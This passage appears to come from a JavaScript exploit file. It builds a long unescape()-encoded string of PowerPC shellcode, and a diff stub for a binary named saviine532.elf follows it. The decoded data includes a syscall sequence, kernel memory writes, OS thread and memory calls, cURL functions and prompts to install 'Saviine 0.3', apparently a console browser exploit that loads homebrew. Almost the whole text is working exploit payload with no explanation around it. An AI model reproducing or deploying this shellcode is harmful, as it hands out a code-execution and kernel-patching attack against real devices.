str += unescape("%u813f%u0028%u8129%u002c%u395f%u000c%u807f%u002c%u3880%u2711%u7d45%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0028%u8129%u0030%u807f%u002c%u7d29%u03a6%u4e80%u0421%u907f%u0008%u813f%u0008%u2f89%u0000");
str += unescape("%u419e%u0018%u3d20%u0103%u6129%u1368%u807f%u0030%u7d29%u03a6%u4e80%u0421%u813f%u0010%u2f89%u0000%u409e%u0018%u3d20%u0103%u6129%u1368%u807f%u0030%u7d29%u03a6%u4e80%u0421%u3920%u0194%u913f%u0020");
str += unescape("%u813f%u0028%u8129%u0034%u395f%u0020%u807f%u002c%u3d00%u0020%u6104%u0002%u7d45%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0020%u2f89%u00c8%u419e%u0018%u3d20%u0103%u6129%u1368%u807f%u0030%u7d29%u03a6");
str += unescape("%u4e80%u0421%u815f%u000c%u813f%u0034%u9149%u0000%u813f%u0010%u7d23%u4b78%u397f%u0040%u800b%u0004%u7c08%u03a6%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u9421%uff48%u7c08%u02a6%u9001%u00bc%u93e1%u00b4");
str += unescape("%u7c3f%u0b78%u907f%u00a8%u909f%u00ac%u813f%u00ac%u913f%u0018%u3920%u0000%u913f%u0008%u3d20%u1a00%u913f%u000c%u4800%u00a0%u813f%u000c%u8149%u0000%u3d20%u2f70%u6129%u6179%u7f8a%u4800%u409e%u007c");
str += unescape("%u813f%u000c%u3929%u0004%u8149%u0000%u3d20%u6c6f%u6129%u6164%u7f8a%u4800%u409e%u0060%u813f%u000c%u913f%u0008%u4800%u0010%u813f%u0008%u3929%uffff%u913f%u0008%u813f%u0008%u8929%u0000%u5529%u063e");
str += unescape("%u2f89%u0000%u409e%uffe4%u813f%u0008%u3929%u0001%u913f%u0008%u813f%u0008%u8149%u0000%u3d20%u6874%u6129%u7470%u7f8a%u4800%u409e%u0008%u4800%u002c%u3920%u0000%u913f%u0008%u813f%u000c%u3929%u0001");
str += unescape("%u913f%u000c%u815f%u000c%u3d20%u1fff%u6129%uffff%u7f8a%u4840%u409d%uff54%u813f%u0008%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1b50%u7d29%u03a6%u4e80%u0421%u395f%u00a0");
str += unescape("%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u1b60%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u811f%u00a0%u813f%u0018%u3949%u0028%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1b6c");
str += unescape("%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u00a0%u813f%u0018%u3949%u002c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1b7c%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u00a0");
str += unescape("%u813f%u0018%u3949%u0030%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1b90%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u00a0%u813f%u0018%u3949%u0034%u3d20%u0102%u6129%ub790");
str += unescape("%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1ba4%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u00a0%u813f%u0018%u3949%u0038%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1bb8");
str += unescape("%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0018%u8129%u0028%u7d29%u03a6%u4e80%u0421%u907f%u001c%u813f%u001c%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1bcc%u7d29%u03a6");
str += unescape("%u4e80%u0421%u813f%u0008%u913f%u0010%u393f%u0020%u913f%u0014%u4800%u0028%u813f%u0014%u3949%u0001%u915f%u0014%u815f%u0010%u390a%u0001%u911f%u0010%u894a%u0000%u554a%u063e%u9949%u0000%u813f%u0010");
str += unescape("%u8929%u0000%u5529%u063e%u2f89%u0000%u409e%uffcc%u813f%u0014%u3940%u0000%u9949%u0000%u4800%u0010%u813f%u0014%u3929%uffff%u913f%u0014%u813f%u0014%u8929%u0000%u5529%u063e%u2b89%u002f%u409e%uffe4");
str += unescape("%u813f%u0014%u3949%u0001%u3d20%u0103%u6129%u5a6c%u7d43%u5378%u3d40%u0180%u388a%u1be0%u38a0%u000f%u7d29%u03a6%u4e80%u0421%u813f%u0018%u3929%u0008%u395f%u0020%u807f%u0018%u809f%u001c%u7d45%u5378");
str += unescape("%u7d26%u4b78%u4bff%ufb6d%u7c6a%u1b78%u813f%u0018%u9149%u0014%u813f%u0018%u8129%u0038%u807f%u001c%u7d29%u03a6%u4e80%u0421%u397f%u00b8%u800b%u0004%u7c08%u03a6%u83eb%ufffc%u7d61%u5b78%u4e80%u0020");
str += unescape("%u9421%uffe8%u93e1%u0014%u7c3f%u0b78%u907f%u0008%u909f%u000c%u4800%u0044%u813f%u0008%u8929%u0000%u552a%u063e%u813f%u000c%u8929%u0000%u5529%u063e%u7f8a%u4840%u419e%u000c%u3920%uffff%u4800%u0070");
str += unescape("%u813f%u0008%u3929%u0001%u913f%u0008%u813f%u000c%u3929%u0001%u913f%u000c%u813f%u0008%u8929%u0000%u5529%u063e%u2f89%u0000%u419e%u0018%u813f%u000c%u8929%u0000%u5529%u063e%u2f89%u0000%u409e%uff9c");
str += unescape("%u813f%u0008%u8929%u0000%u552a%u063e%u813f%u000c%u8929%u0000%u5529%u063e%u7f8a%u4840%u419e%u000c%u3920%uffff%u4800%u0008%u3920%u0000%u7d23%u4b78%u397f%u0018%u83eb%ufffc%u7d61%u5b78%u4e80%u0020");
str += unescape("%u9421%uffc8%u7c08%u02a6%u9001%u003c%u93e1%u0034%u7c3f%u0b78%u907f%u0018%u909f%u001c%u90bf%u0020%u90df%u0024%u90ff%u0028%u813f%u001c%u913f%u000c%u813f%u001c%u2f89%u0000%u419e%u007c%u813f%u000c");
str += unescape("%u8929%u0000%u5529%u063e%u2b89%u007f%u409e%u0068%u813f%u000c%u8929%u0001%u5529%u063e%u2b89%u0045%u409e%u0054%u813f%u000c%u8929%u0002%u5529%u063e%u2b89%u004c%u409e%u0040%u813f%u000c%u8929%u0003");
str += unescape("%u5529%u063e%u2b89%u0046%u409e%u002c%u813f%u000c%ua129%u0010%u5529%u043e%u2b89%u0002%u409e%u0018%u813f%u000c%ua129%u0012%u5529%u043e%u2b89%u0014%u419e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180");
str += unescape("%u386a%u1bf0%u7d29%u03a6%u4e80%u0421%u813f%u000c%u8129%u0020%u815f%u001c%u7d2a%u4a14%u913f%u0010%u3920%u0000%u913f%u0008%u4800%u00d0%u813f%u000c%ua129%u0032%u5529%u043e%u1d29%u0028%u815f%u0010");
str += unescape("%u7d2a%u4a14%u8149%u0010%u813f%u0008%u1d29%u0028%u811f%u0010%u7d28%u4a14%u8129%u0000%u7d2a%u4a14%u815f%u001c%u7d2a%u4a14%u913f%u0014%u807f%u0014%u809f%u0020%u4bff%ufe0d%u7c69%u1b78%u2f89%u0000");
str += unescape("%u409e%u006c%u813f%u0028%u2f89%u0000%u419e%u0020%u813f%u0008%u1d29%u0028%u815f%u0010%u7d2a%u4a14%u8149%u000c%u813f%u0028%u9149%u0000%u813f%u0024%u2f89%u0000%u419e%u0020%u813f%u0008%u1d29%u0028");
str += unescape("%u815f%u0010%u7d2a%u4a14%u8149%u0014%u813f%u0024%u9149%u0000%u813f%u0008%u1d29%u0028%u815f%u0010%u7d2a%u4a14%u8129%u0010%u4800%u0040%u813f%u0008%u3929%u0001%u913f%u0008%u813f%u000c%ua129%u0030");
str += unescape("%u5529%u043e%u7d2a%u4b78%u813f%u0008%u7f8a%u4800%u419d%uff1c%u3d20%u0103%u6129%u1368%u807f%u0020%u7d29%u03a6%u4e80%u0421%u7d23%u4b78%u397f%u0038%u800b%u0004%u7c08%u03a6%u83eb%ufffc%u7d61%u5b78");
str += unescape("%u4e80%u0020%u9421%uff98%u7c08%u02a6%u9001%u006c%u93e1%u0064%u7c3f%u0b78%u907f%u0058%u3d20%ua11d%u6129%ufffc%u8149%u0000%u3d20%ucaca%u6129%ucaca%u7f8a%u4800%u419e%u03bc%u3d20%ua11d%u6129%ufffc");
str += unescape("%u3d40%ucaca%u614a%ucaca%u9149%u0000%u3920%u0000%u913f%u0038%u3920%u0000%u913f%u003c%u813f%u0058%u8109%u0008%u395f%u003c%u393f%u0038%u807f%u0058%u7d04%u4378%u3d00%u0180%u38a8%u1bfc%u7d46%u5378");
str += unescape("%u7d27%u4b78%u4bff%ufd7d%u907f%u0010%u813f%u0058%u8149%u0008%u813f%u0010%u7d2a%u4a14%u913f%u0014%u3920%u0000%u913f%u0040%u3920%u0000%u913f%u0044%u813f%u0058%u8109%u0008%u395f%u0044%u393f%u0040");
str += unescape("%u807f%u0058%u7d04%u4378%u3d00%u0180%u38a8%u1c04%u7d46%u5378%u7d27%u4b78%u4bff%ufd29%u907f%u0010%u813f%u0058%u8149%u0008%u813f%u0010%u7d2a%u4a14%u913f%u0018%u3920%u0000%u913f%u0048%u3920%u0000");
str += unescape("%u913f%u004c%u813f%u0058%u8109%u0008%u395f%u004c%u393f%u0048%u807f%u0058%u7d04%u4378%u3d00%u0180%u38a8%u1c0c%u7d46%u5378%u7d27%u4b78%u4bff%ufcd5%u907f%u0010%u813f%u0058%u8149%u0008%u813f%u0010");
str += unescape("%u7d2a%u4a14%u913f%u001c%u813f%u0038%u3d29%ua000%u913f%u0020%u811f%u0020%u813f%u003c%u7d2a%u4b78%u3d20%u0103%u6129%u5a6c%u7d03%u4378%u809f%u0014%u7d45%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0020");
str += unescape("%u815f%u003c%u3d20%u0102%u6129%u3ee8%u7d03%u4378%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0020%u815f%u003c%u3d20%u0102%u6129%u4010%u7d03%u4378%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0040");
str += unescape("%u3d29%ua000%u913f%u0020%u811f%u0020%u813f%u0044%u7d2a%u4b78%u3d20%u0103%u6129%u5a6c%u7d03%u4378%u809f%u0018%u7d45%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0020%u815f%u0044%u3d20%u0102%u6129%u3ee8");
str += unescape("%u7d03%u4378%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u813f%u001c%u913f%u0024%u815f%u004c%u3d20%uaaaa%u6129%uaaab%u7d2a%u4816%u5529%ue8fe%u913f%u0008%u815f%u0038%u813f%u003c%u7d2a%u4a14%u3d29%ua000");
str += unescape("%u913f%u000c%u4800%u014c%u813f%u0008%u1d29%u000c%u815f%u0024%u7d2a%u4a14%u8129%u0000%u913f%u0028%u813f%u0008%u1d29%u000c%u815f%u0024%u7d2a%u4a14%u8129%u0004%u913f%u002c%u813f%u0008%u1d29%u000c");
str += unescape("%u815f%u0024%u7d2a%u4a14%u8129%u0008%u913f%u0030%u813f%u0030%u3d29%ua000%u815f%u000c%u3d4a%u6000%u9149%u0000%u813f%u0028%u3d29%ua000%u8149%u0000%u813f%u000c%u9149%u0000%u813f%u000c%u3929%u0004");
str += unescape("%u913f%u000c%u813f%u0028%u3929%u0004%u5529%u01ba%u6529%u4800%u612a%u0002%u813f%u000c%u9149%u0000%u813f%u000c%u3929%u0004%u913f%u000c%u813f%u000c%u3949%ufffe%u3d20%u0102%u6129%u3ee8%u7d43%u5378");
str += unescape("%u3880%u0008%u7d29%u03a6%u4e80%u0421%u813f%u000c%u3949%ufffe%u3d20%u0102%u6129%u4010%u7d43%u5378%u3880%u0008%u7d29%u03a6%u4e80%u0421%u813f%u0028%u3d29%ua000%u815f%u002c%u554a%u01ba%u654a%u4800");
str += unescape("%u614a%u0002%u9149%u0000%u813f%u0028%u3d29%ua000%u7d2a%u4b78%u3d20%u0102%u6129%u3ee8%u7d43%u5378%u3880%u0004%u7d29%u03a6%u4e80%u0421%u813f%u0028%u3d29%ua000%u7d2a%u4b78%u3d20%u0102%u6129%u4010");
str += unescape("%u7d43%u5378%u3880%u0004%u7d29%u03a6%u4e80%u0421%u813f%u0008%u3949%uffff%u915f%u0008%u2f89%u0000%u409e%ufea8%u3d20%ua10c%u6129%u0404%u913f%u0034%u813f%u0034%u3d40%u3860%u9149%u0000%u813f%u0034");
str += unescape("%u3929%u0004%u3d40%u4e80%u614a%u0020%u9149%u0000%u3d20%uffea%u6123%uaa58%u3880%u0000%u4800%u002d%u3d20%uffea%u6123%uaa5c%u3c80%u1400%u4800%u001d%u397f%u0068%u800b%u0004%u7c08%u03a6%u83eb%ufffc");
str += unescape("%u7d61%u5b78%u4e80%u0020%u9421%uffe0%u7c08%u02a6%u9001%u0024%u93a1%u0014%u93c1%u0018%u93e1%u001c%u7c3f%u0b78%u907f%u0008%u909f%u000c%u83df%u0008%u83bf%u000c%u3860%u0001%u3880%u0000%u7fa5%ueb78");
str += unescape("%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fc9%uf378%u7c3d%u0b78%u3800%u3500%u4400%u0002%u6000%u0000%u7fa1%ueb78%u397f%u0020%u800b%u0004%u7c08%u03a6%u83ab%ufff4%u83cb%ufff8%u83eb%ufffc%u7d61%u5b78");
str += unescape("%u4e80%u0020%u4e6f%u206b%u7370%u6c6f%u6974%u2e00%u636f%u7265%u696e%u6974%u0000%u0000%u6d65%u6d73%u6574%u0000%u4d45%u4d41%u6c6c%u6f63%u4672%u6f6d%u4465%u6661%u756c%u7448%u6561%u7045%u7800%u0000");
str += unescape("%u4d45%u4d46%u7265%u6554%u6f44%u6566%u6175%u6c74%u4865%u6170%u0000%u0000%u494d%u5f4f%u7065%u6e00%u494d%u5f43%u6c6f%u7365%u0000%u0000%u494d%u5f53%u6574%u4465%u7669%u6365%u5374%u6174%u6500%u0000");
str += unescape("%u4f53%u416c%u6c6f%u6346%u726f%u6d53%u7973%u7465%u6d00%u0000%u4f53%u4672%u6565%u546f%u5379%u7374%u656d%u0000%u4f53%u4372%u6561%u7465%u5468%u7265%u6164%u0000%u4f53%u5265%u7375%u6d65%u5468%u7265");
str += unescape("%u6164%u0000%u4f53%u4973%u5468%u7265%u6164%u5465%u726d%u696e%u6174%u6564%u0000%u0000%u5468%u7265%u6164%u206d%u656d%u6f72%u7920%u616c%u6c6f%u6361%u7469%u6f6e%u2066%u6169%u6c65%u642e%u0000%u0000");
str += unescape("%u4661%u696c%u6564%u2074%u6f20%u6372%u6561%u7465%u2074%u6872%u6561%u6400%u4f53%u5363%u7265%u656e%u496e%u6974%u0000%u0000%u4f53%u5363%u7265%u656e%u4765%u7442%u7566%u6665%u7253%u697a%u6545%u7800");
str += unescape("%u4f53%u5363%u7265%u656e%u5365%u7442%u7566%u6665%u7245%u7800%u4f53%u5363%u7265%u656e%u436c%u6561%u7242%u7566%u6665%u7245%u7800%u0000%u4f53%u5363%u7265%u656e%u466c%u6970%u4275%u6666%u6572%u7345");
str += unescape("%u7800%u0000%u4f53%u5363%u7265%u656e%u5075%u7446%u6f6e%u7445%u7800%u0000%u7670%u6164%u2e72%u706c%u0000%u0000%u5650%u4144%u5265%u6164%u0000%u0000%u2d2d%u2053%u4156%u4949%u4e45%u2030%u2e33%u2028");
str += unescape("%u6120%u6361%u6669%u696e%u6520%u6d6f%u6429%u202d%u2d00%u0000%u2573%u203a%u2025%u3364%u2e25%u3364%u2e25%u3364%u2e25%u3364%u0000%u0000%u312e%u2053%u6572%u7665%u7220%u4950%u0000%u0000%u322e%u2050");
str += unescape("%u7265%u7373%u2041%u2074%u6f20%u696e%u7374%u616c%u6c20%u7361%u7669%u696e%u6500%u0000%u686f%u6d65%u2062%u7574%u746f%u6e20%u746f%u2065%u7869%u7420%u2e2e%u2e00%u7676%u7600%u4d65%u6d6f%u7279%u2061");
str += unescape("%u6c6c%u6f63%u6174%u696f%u6e20%u6661%u696c%u6564%u0000%u0000%u5552%u4c20%u6e6f%u7420%u666f%u756e%u6400%u0000%u6e6c%u6962%u6375%u726c%u0000%u0000%u6375%u726c%u5f65%u6173%u795f%u696e%u6974%u0000");
str += unescape("%u6375%u726c%u5f65%u6173%u795f%u7365%u746f%u7074%u0000%u0000%u6375%u726c%u5f65%u6173%u795f%u7065%u7266%u6f72%u6d00%u0000%u6375%u726c%u5f65%u6173%u795f%u6765%u7469%u6e66%u6f00%u0000%u6375%u726c");
str += unescape("%u5f65%u6173%u795f%u636c%u6561%u6e75%u7000%u0000%u6355%u524c%u2069%u6e69%u7420%u6661%u696c%u6564%u0000%u0000%u7361%u7669%u696e%u6535%u3332%u2e65%u6c66%u0000%u496e%u7661%u6c69%u6420%u656c%u6600");
str += unescape("%u2e74%u6578%u7400%u0000%u2e72%u6f64%u6174%u6100%u2e6d%u6167%u6963%u0000%u0000%u1c18%u0000%u1c1c%u0000%u1c20%u0000%u1c24%u0000%u1c28%u0000%u1c2c%u0000%u1c30%u0000%u1c34%u0000%u1c38%u0000%u1c3c");
str += unescape("%u0000%u1c40%u0000%u1c44%u0000%u1c48%u0000%u1c4c%u0000%u1c50%u0000%u1c54%u0000%u1c58%u0000%u1c5c%u0000%u1c60%u0000%u1c64%u0000%u1c68%u0000%u1c6c%u0000%u1c70%u0000%u1c74%u0000%u1c78%u0000%u1c7c");
str += unescape("%u0000%u1c80%u0000%u1c84%u0000%u1c88%u0000%u1c8c%u0000%u1c90%u0000%u1c94%u0000%u1c98%u0000%u1c9c%u0000%u1ca0%u0000%u1ca4%u0000%u1ca8%u0000%u1cac%u0000%u1cb0%u0000%u1cb4%u0000%u1cb8%u0000%u1cbc");
str += unescape("%u0000%u1cc0%u0000%u1cc4%u0000%u1cc8%u0000%u1ccc%u0000%u1cd0%u0000%u1cd4%u0000%u1cd8%u0000%u1cdc%u0000%u1ce0%u0000%u1ce4%u0000%u1ce8%u0000%u1cec%u0000%u1cf0%u0000%u1cf4%u0000%u1cf8%u0000%u1cfc");
str += unescape("%u0000%u1d00%u0000%u1d04%u0000%u1d08%u0000%u1d0c%u0000%u1d10%u0000%u1d14%u0000%u1d18%u0000%u1d1c%u0000%u1d20%u0000%u1d24%u0000%u1d28%u0000%u1d2c%u0000%u1d30%u0000%u1d34%u0000%u1d38%u0000%u1d3c");
str += unescape("%u0000%u1d40%u0000%u1d44%u0000%u1d48%u0000%u1d4c%u0000%u1d50%u0000%u1d54%u0000%u1d58%u0000%u1d5c%u0000%u1d60%u0000%u1d64%u0000%u1d68%u0000%u1d6c%u0000%u1d70%u0000%u1d74%u0000%u1d78%u0000%u1d7c");
str += unescape("%u0000%u1d80%u0000%u1d84%u0000%u1d88%u0000%u1d8c%u0000%u1d90%u0000%u1d94%u0000%u1d98%u0000%u1d9c%u0000%u1da0%u0000%u1da4%u0000%u1da8%u0000%u1dac%u0000%u1db0%u0000%u1db4%u0000%u1db8%u0000%u1dbc");
str += unescape("%u0000%u1dc0%u0000%u1dc4%u0000%u1dc8%u0000%u1dcc%u0000%u1dd0%u0000%u1dd4%u0000%u1dd8%u0000%u1ddc%u0000%u1de0%u0000%u1de4%u0000%u1de8%u0000%u1dec%u0000%u1df0%u0000%u1df4%u0000%u1df8%u0000%u1dfc");
str += unescape("%u0000%u1e00%u0000%u1e04%u0000%u1e08%u0000%u1e0c%u0000%u1e10%u0000%u1e14%u0000%u1e18%u0000%u1e1c%u0000%u1e20%u0000%u1e24%u0000%u1e28%u0000%u1e2c%u0000%u1e30%u0000%u1e34%u0000%u1e38%u0000%u1e3c");
str += unescape("%u0000%u1e40%u0000%u1e44%u0000%u1e48%u0000%u1e4c%u0000%u1e50%u0000%u1e54%u0000%u1e58%u0000%u1e5c%u0000%u1e60%u0000%u1e64%u0000%u1e68%u0000%u1e6c%u0000%u1e70%u0000%u1e74%u0000%u1e78%u0000%u1e7c");
str += unescape("%u0000%u1e80%u0000%u1e84%u0000%u1e88%u0000%u1e8c%u0000%u1e90%u0000%u1e94%u0000%u1e98%u0000%u1e9c%u0000%u1ea0%u0000%u1ea4%u0000%u1ea8%u0000%u1eac%u0000%u1eb0%u0000%u1eb4%u0000%u1eb8%u0000%u1ebc");
str += unescape("%u0000%u1ec0%u0000%u1ec4%u0000%u1ec8%u0000%u1ecc%u0000%u1ed0%u0000%u1ed4%u0000%u1ed8%u0000%u1edc%u0000%u1ee0%u0000%u1ee4%u0000%u1ee8%u0000%u1eec%u0000%u1ef0%u0000%u1ef4%u0000%u1ef8%u0000%u1efc");
str += unescape("%u0000%u1f00%u0000%u1f04%u0000%u1f08%u0000%u1f0c%u0000%u1f10%u0000%u1f14%u0000%u1f18%u0000%u1f1c%u0000%u1f20%u0000%u1f24%u0000%u1f28%u0000%u1f2c%u0000%u1f30%u0000%u1f34%u0000%u1f38%u0000%u1f3c");
str += unescape("%u0000%u1f40%u0000%u1f44%u0000%u1f48%u0000%u1f4c%u0000%u1f50%u0000%u1f54%u0000%u1f58%u0000%u1f5c%u0000%u1f60%u0000%u1f64%u0000%u1f68%u0000%u1f6c%u0000%u1f70%u0000%u1f74%u0000%u1f78%u0000%u1f7c");
str += unescape("%u0000%u1f80%u0000%u1f84%u0000%u1f88%u0000%u1f8c%u0000%u1f90%u0000%u1f94%u0000%u1f98%u0000%u1f9c%u0000%u1fa0%u0000%u1fa4%u0000%u1fa8%u0000%u1fac%u0000%u1fb0%u0000%u1fb4%u0000%u1fb8%u0000%u1fbc");
str += unescape("%u0000%u1fc0%u0000%u1fc4%u0000%u1fc8%u0000%u1fcc%u0000%u1fd0%u0000%u1fd4%u0000%u1fd8%u0000%u1fdc%u0000%u1fe0%u0000%u1fe4%u0000%u1fe8%u0000%u1fec%u0000%u1ff0%u0000%u1ff4%u0000%u1ff8%u0000%u1ffc");
str += unescape("%u0000%u2000%u0000%u2004%u0000%u2008%u0000%u200c%u0000%u2010%u0000%u2014%u0000%u2018%u0000%u201c%u0000%u2020%u0000%u2024%u0000%u2028%u0000%u202c%u0000%u2030%u0000%u2034%u0000%u2038%u0000%u203c");
str += unescape("%u0000%u2040%u0000%u2044%u0000%u2048%u0000%u204c%u0000%u2050%u0000%u2054%u0000%u2058%u0000%u205c%u0000%u2060%u0000%u2064%u0000%u2068%u0000%u206c%u0000%u2070%u0000%u2074%u0000%u2078%u0000%u207c");
str += unescape("%u0000%u2080%u0000%u2084%u0000%u2088%u0000%u208c%u0000%u2090%u0000%u2094%u0000%u2098%u0000%u209c%u0000%u20a0%u0000%u20a4%u0000%u20a8%u0000%u20ac%u0000%u20b0%u0000%u20b4%u0000%u20b8%u0000%u20bc");
str += unescape("%u0000%u20c0%u0000%u20c4%u0000%u20c8%u0000%u20cc%u0000%u20d0%u0000%u20d4%u0000%u20d8%u0000%u20dc%u0000%u20e0%u0000%u20e4%u0000%u20e8%u0000%u20ec%u0000%u20f0%u0000%u20f4%u0000%u20f8%u0000%u20fc");

BIN
www/saviine/saviine532.elf Normal file

Binary file not shown.